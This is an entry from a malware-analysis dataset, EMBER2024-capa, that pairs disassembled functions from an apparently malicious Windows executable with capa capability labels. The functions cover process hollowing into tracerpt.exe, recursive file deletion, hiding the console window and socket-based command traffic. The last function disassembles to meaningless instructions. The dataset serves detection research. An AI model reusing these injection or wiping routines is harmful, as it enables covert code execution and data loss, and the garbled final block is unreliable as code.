joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4036e0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d214]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x11
push 2
xor edi, edi
push 2
mov dword [ebp - 0x18], edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x40], eax
cmp eax, 0xffffffff
jne 0x403722
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040943e
mov esp, ebp
pop ebp
ret 8
push edi
push edi
lea ecx, [ebp - 0x24]
push ecx
push edi
push edi
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x9800000c
push eax
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x1c]
push eax
push 0xfffffffffffffffb
push 0xffff
push ecx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 0x1c]
push edx
push 4
push 0xffff
push eax
call edi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
push 0
push 0
push 0
push 0
push ebx
mov dword [esi + 0x44], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x20], eax
inc eax
push eax
call fcn.00409428
mov ecx, dword [ebp - 0x20]
add esp, 4
push 0
push 0
push ecx
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x20]
push edi
mov byte [edi + edx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push edi
mov ebx, eax
call fcn.00409433
add esp, 4
test ebx, ebx
je 0x40370e
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov edx, dword [ebx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
push 0x30
push edx
push eax
mov dword [ebp - 0x10], ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x403847
mov edx, dword [esi + 0x40]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x403840
cmp eax, 0xffffffff
jne 0x403837
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403840
mov dword [ebp - 0x18], 0
jmp 0x403847
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040943e
mov esp, ebp
pop ebp
ret 8
Function at 0x403be0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push ebx
test eax, eax
jne 0x403c03
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x403c1c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
xor eax, eax
pop ebx
ret
push edi
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov ebx, 1
push ecx
mov dword [esi + 0x60], ebx
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], ebx
call fcn.00404ae0
mov edx, dword [esi + 0x40]
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x403c65
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x403c65
xor edi, edi
mov eax, dword [esi + 0x48]
push eax
call fcn.00402c50
add esp, 4
test edi, edi
pop edi
je 0x403c80
mov eax, 0x80004005
call fcn.00401280
mov eax, ebx
pop ebx
ret

Function at 0x403c90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x403d62
cmp edi, 0x10
jne 0x403ce8
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x41a5d4
sub edx, eax
cmp ecx, 4
jb 0x403d9a
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x403ce8
sub ecx, 4
add eax, 4
jmp 0x403cd0
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x403d16
push ecx
push edi
push eax
mov edi, edx
call fcn.00405060
jmp 0x403d20
cmp edi, 0xc
jne 0x403d90
call fcn.00404f10
cmp eax, 2
jne 0x403ca0
mov edx, dword [ebx + 0x48]
push edx
call fcn.00402c50
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x403d44
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x403ca0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403db7
cmp eax, 0x2744
je 0x403ca0
cmp eax, 0x2746
je 0x403ca0
jmp 0x403d44
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x403d29
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x403dd0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ebx
push edi
jmp 0x403de0
mov eax, dword [esi + 0x194]
test eax, eax
jle 0x403f0a
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [esi + 0x17c]
cmp ebx, dword [esi + 0x180]
je 0x403e1b
mov eax, dword [ebx + 4]
mov dword [esi + 0x17c], eax
mov dword [eax + 8], 0
jmp 0x403e2d
test ebx, ebx
je 0x403e2d
xor eax, eax
mov dword [esi + 0x17c], eax
mov dword [esi + 0x180], eax
xor eax, eax
cmp ebx, eax
je 0x403e3f
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
dec dword [esi + 0x178]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x403f0a
mov ecx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x18]
push 0
sub eax, ecx
push eax
push ecx
mov ecx, dword [esi + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
test edi, edi
jle 0x403e8c
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [esi + 0x194], edi
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x403e91
cmp edi, 0xffffffff
je 0x403eb7
push ebx
lea edi, [esi + 0x98]
call fcn.00401480
test eax, eax
jne 0x403de0
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x403de0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x403f15
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0x17c]
xor ecx, ecx
cmp eax, ecx
je 0x403eeb
mov dword [eax + 8], ebx
mov ecx, dword [esi + 0x17c]
mov dword [ebx + 4], ecx
jmp 0x403ef7
mov dword [ebx + 8], ecx
mov dword [ebx + 4], ecx
mov dword [esi + 0x180], ebx
inc dword [esi + 0x178]
push edi
mov dword [esi + 0x17c], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 1
push ebx
lea edi, [esi + 0x98]
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], 3
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ecx
call fcn.00401480
test eax, eax
jne 0x403f47
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x404038
lea edi, [esi + 0x15c]
push edi
call fcn.00402b80
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x403f88
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x404032
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.00404150
mov eax, dword [esi + 0x60]
test eax, eax
je 0x403fc3
cmp dword [esi + 0x3c], 0
je 0x403fbc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x41a5d4
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x403feb
mov edx, dword [esi + 0x48]
push edx
call fcn.00402c50
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x404000
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x404022
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.00404050
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x404420
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], 0xca
cmp ecx, 3
je 0x40447e
mov eax, esi
call fcn.00403f50
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.004034f0
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4044d7
cmp eax, 0x102
je 0x4044c3
cmp eax, 0xffffffff
jne 0x4044cc
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x404520
push 0
push 0
call fcn.00409e3b
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x405db0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x41d214]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x44928c]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.0040e900
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.0040e900
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.0040e900
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.00405f70
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x405e9b
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.00405f70
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x405ed0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040943e
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x405f3c
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x405f3c
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x405f3c
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x405f4d
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040943e
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040943e
mov esp, ebp
pop ebp
ret
Function at 0x4071f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x44a56c], 0
jne 0x4074ca
push esi
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pjbb.21.3202:zb0.1:bb
mov byte [0x44a56c], 1
call fcn.0040a6dc
push 0x12a0
push 0
push 0x4492b8
call fcn.0040e900
push 0
push 0x4492d6
push 0x41a7ac
call fcn.00407120
push 0
push 0x4494d4
push 0x41a7b4
call fcn.00407120
push 0x449510
push 0
push 0x41a7bc
call fcn.00407120
push 0
push 0x449514
push 0x41a7c4
call fcn.00407120
add esp, 0x40
push 0
push 0x449712
push 0x41a7cc
call fcn.00407120
push 0x449750
push 0
push 0x41a7d4
call fcn.00407120
push 0
push 0x449754
push 0x41a7dc
call fcn.00407120
push 0
push 0x449952
push 0x41a7e4
call fcn.00407120
push 0x449990
push 0
push 0x41a7ec
call fcn.00407120
push 0
push 0x449994
push 0x41a7f4
call fcn.00407120
add esp, 0x48
push 0
push 0x4499d0
push 0x41a7fc
call fcn.00407120
push 0
push 0x449a0c
push 0x41a804
call fcn.00407120
push 0
push 0x449a70
push 0x41a80c
call fcn.00407120
push 0
push 0x449ad4
push 0x41a814
call fcn.00407120
push 0x449b38
push 0
push 0x41a81c
call fcn.00407120
push 0x449b3c
push 0
push 0x41a824
call fcn.00407120
add esp, 0x48
push 0x449b40
push 0
push 0x41a82c
call fcn.00407120
push 0x449b44
push 0
push 0x41a834
call fcn.00407120
push 0x449b48
push 0
push 0x41a83c
call fcn.00407120
push 0x449b4c
push 0
push 0x41a844
call fcn.00407120
push 0x449b50
push 0
push 0x41a84c
call fcn.00407120
push 0x449b54
push 0
push 0x41a854
call fcn.00407120
add esp, 0x48
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push connect
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4073f2
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
cmp dword [ebp - 4], 0xa
jbe 0x4074c9
push 0x7d0
push 0
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pjbb.21.3202:zb0.1:bb
call fcn.0040e900
mov eax, dword [ebp - 0xc]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pjbb.21.3202:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
push 0
push 0x4492d6
push 0x41a7ac
call fcn.00407120
push 0
push 0x4494d4
push 0x41a7b4
call fcn.00407120
push 0x449510
push 0
push 0x41a7bc
call fcn.00407120
push 0
push 0x449514
push 0x41a7c4
call fcn.00407120
push 0
push 0x449712
push 0x41a7cc
call fcn.00407120
push 0x449750
push 0
push 0x41a7d4
call fcn.00407120
add esp, 0x48
push 0
push 0x449754
push 0x41a7dc
call fcn.00407120
push 0
push 0x449952
push 0x41a7e4
call fcn.00407120
push 0x449990
push 0
push 0x41a7ec
call fcn.00407120
add esp, 0x24
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407560
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x690
mov eax, dword [0x41d214]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x208
lea eax, [ebp - 0x43c]
push 0
push eax
call fcn.0040e900
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [esi + eax*2 - 2], 0x5c
mov edi, 0x41a87c
jne 0x4075a8
mov edi, 0x41a694
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push esi
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x43c]
push ecx
mov dword [ebp - 0x28], 0x730025
mov dword [ebp - 0x24], 0x730025
mov dword [ebp - 0x20], 0x2e002a
mov dword [ebp - 0x1c], 0x2a
call ebx
add esp, 0x10
lea edx, [ebp - 0x68c]
push edx
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x690], eax
cmp eax, 0xffffffff
jne 0x40760e
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040943e
mov esp, ebp
pop ebp
ret
xor ecx, ecx
mov dword [ebp - 0x18], 0x730025
mov dword [ebp - 0x14], 0x730025
mov dword [ebp - 0x10], 0x730025
mov word [ebp - 0xc], cx
cmp word [ebp - 0x660], 0x2e
je 0x4076a7
test byte [ebp - 0x68c], 0x10
je 0x407666
lea edx, [ebp - 0x660]
push edx
push edi
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x234]
push ecx
call ebx
lea edx, [ebp - 0x234]
add esp, 0x14
push edx
call fcn.00407560
add esp, 4
jmp 0x4076a7
lea eax, [ebp - 0x660]
push eax
push edi
push esi
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x234]
push edx
call ebx
add esp, 0x14
test byte [ebp - 0x68c], 1
je 0x40769a
push 0x80
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x690]
lea edx, [ebp - 0x68c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407629
mov ecx, dword [ebp - 0x690]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [ebp - 8]
test eax, eax
pop edi
setne al
pop esi
xor ecx, ebp
pop ebx
call fcn.0040943e
mov esp, ebp
pop ebp
ret
Function at 0x408620
Capabilities:
Create thread
Hide graphical window

Disassembly:
push 0x408600
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.004071f0
push 0
push 0
push 0
push 0x4081f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x44a558], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x44a558]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
ret

Function at 0x40943e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d214]
jne 0x409448
repz ret
jmp fcn.0040a8f6
Function at 0x41029c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d214]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c6b8
and dword [ebp - 0x14], 0
cmp dword [0x4483cc], 0
mov dword [ebp - 0x18], eax
jne 0x41034f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4103f7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4103f7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4483cc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4483d0], eax
call edi
push eax
call esi
push 0x419d14
push ebx
mov dword [0x4483d4], eax
call edi
push eax
call esi
mov dword [0x4483dc], eax
test eax, eax
je 0x41034f
push 0x419cfc
push ebx
call edi
push eax
call esi
mov dword [0x4483d8], eax
mov eax, dword [0x4483d8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4103a8
cmp dword [0x4483dc], ecx
je 0x4103a8
push eax
call esi
push dword [0x4483dc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4103a8
test ebx, ebx
je 0x4103a8
call edi
test eax, eax
je 0x41039f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41039f
test byte [ebp - 8], 1
jne 0x4103a8
or dword [ebp + 0x10], 0x200000
jmp 0x4103db
mov eax, dword [0x4483d0]
cmp eax, dword [ebp - 0x18]
je 0x4103db
push eax
call esi
test eax, eax
je 0x4103db
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4103db
mov eax, dword [0x4483d4]
cmp eax, dword [ebp - 0x18]
je 0x4103db
push eax
call esi
test eax, eax
je 0x4103db
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4483cc]
call esi
test eax, eax
je 0x4103f7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4103f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040943e
leave
ret
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
xchg ebx, eax
popal
pop eax
xchg ebx, eax
popal
pop eax
xchg ebx, eax
mov byte fs:[0x61649358], al
pop eax
xchg ebx, eax
popal
pop eax
xchg ebx, eax
popal
pop eax
xchg ebx, eax
shr dword fs:[eax], 0xc3
and eax, 0x4b3fa61
and byte [eax + 0x50], bl
popal
pop eax
xchg ebx, eax
xor al, 0xd1
jbe 0x414a53
and al, 0x50
sbb byte [ecx], ah
insd dword es:[edi], dx
rol esi, cl
je 0x414a4e
push ebx
xor eax, 0x11935820
fld xword es:[ebx + 0x65]
adc ebx, dword [edx]
adc byte [eax - 0x761860d4], cl
pop ecx
out 0x77, eax
loop 0x414a36
xchg edx, eax
adc byte [esi - 0x4d], bh
mov byte [0x6c05c18c], al
wait
mov dword [ebx - 0x4c61640b], edx
mov dh, 0x8c
cmp ch, byte gs:[ebx + ebx*4 - 0x27]
pop eax
xchg ebx, eax
pushal
mov al, 0xb9
cmp ebx, dword [esi - 0x618f8759]
insd dword es:[edi], dx
ret
xor al, 0xd1
jbe 0x414a66
mov dl, al
and eax, 0xb4fb5961
mov dword [0x970e931a], eax
mov al, 0xe9
mov eax, dword [0x8cc3a79f]
lds ebx, [esi + 0x58d89b6d]
jae 0x414b06
popal
loop 0x414a7a
test byte [ebx], ah
pop eax
sub edx, dword [ecx + eax + 0x19]
xchg ebx, eax
invalid
xchg ebx, eax
popal
pop eax
xchg ebx, eax
popal
pop eax
xchg ebx, eax
sahf
cmpsd dword [esi], dword es:[edi]
insb byte es:[edi], dx
wait
popal
pop eax
xchg ebx, eax
sahf
cmpsd dword [esi], dword es:[edi]
insb byte es:[edi], dx
wait
popal
pop eax
xchg ebx, eax
popal
pop eax
xchg ebx, eax
popal
pop eax
xchg ebx, eax
popal
pop eax
adc byte [eax + 0x40979f65], cl
invalid